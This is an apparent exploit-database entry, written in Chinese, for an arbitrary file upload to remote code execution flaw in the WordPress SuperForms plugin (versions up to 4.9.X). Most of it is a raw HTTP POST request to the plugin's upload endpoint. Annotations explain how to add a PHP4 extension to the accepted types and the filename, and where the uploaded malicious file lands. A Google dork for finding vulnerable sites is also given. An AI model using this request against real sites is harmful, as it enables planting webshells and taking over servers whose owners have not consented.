描述
影响版本 <= 4.9.X
POC & EXP
WordPress插件SuperForms 4.9-任意文件上传到远程代码执行
日期：2021年1月28日
Google Dork:inurl:“/wp content/plugins/super forms/”
供应商主页：https://renstillmann.github.io/super-forms/#/
版本：全部（<=4.9.X）
http请求中的数据：
POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
<=== exploit end point
Host: localhost
User-Agent: UserAgent
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------423513681827540048931513055996
Content-Length: 7058
Origin: localhost
Connection: close
Referer: localhost
Cookie:
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="accept_file_types"
jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <=======
inject extension (|PHP4) to validate file to upload
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="max_file_size"
8000000
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="image_library"
0
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="files[]";
filename="filename.(extension)" <==== inject code extension (.php4)
for example
Content-Type: application/pdf
Evil codes to be uploaded
-----------------------------423513681827540048931513055996--
# Uploaded Malicious File can be Found in :
/wp-content/uploads/superforms/2021/01/<id>/filename.php4
u can get <id> from server reply .
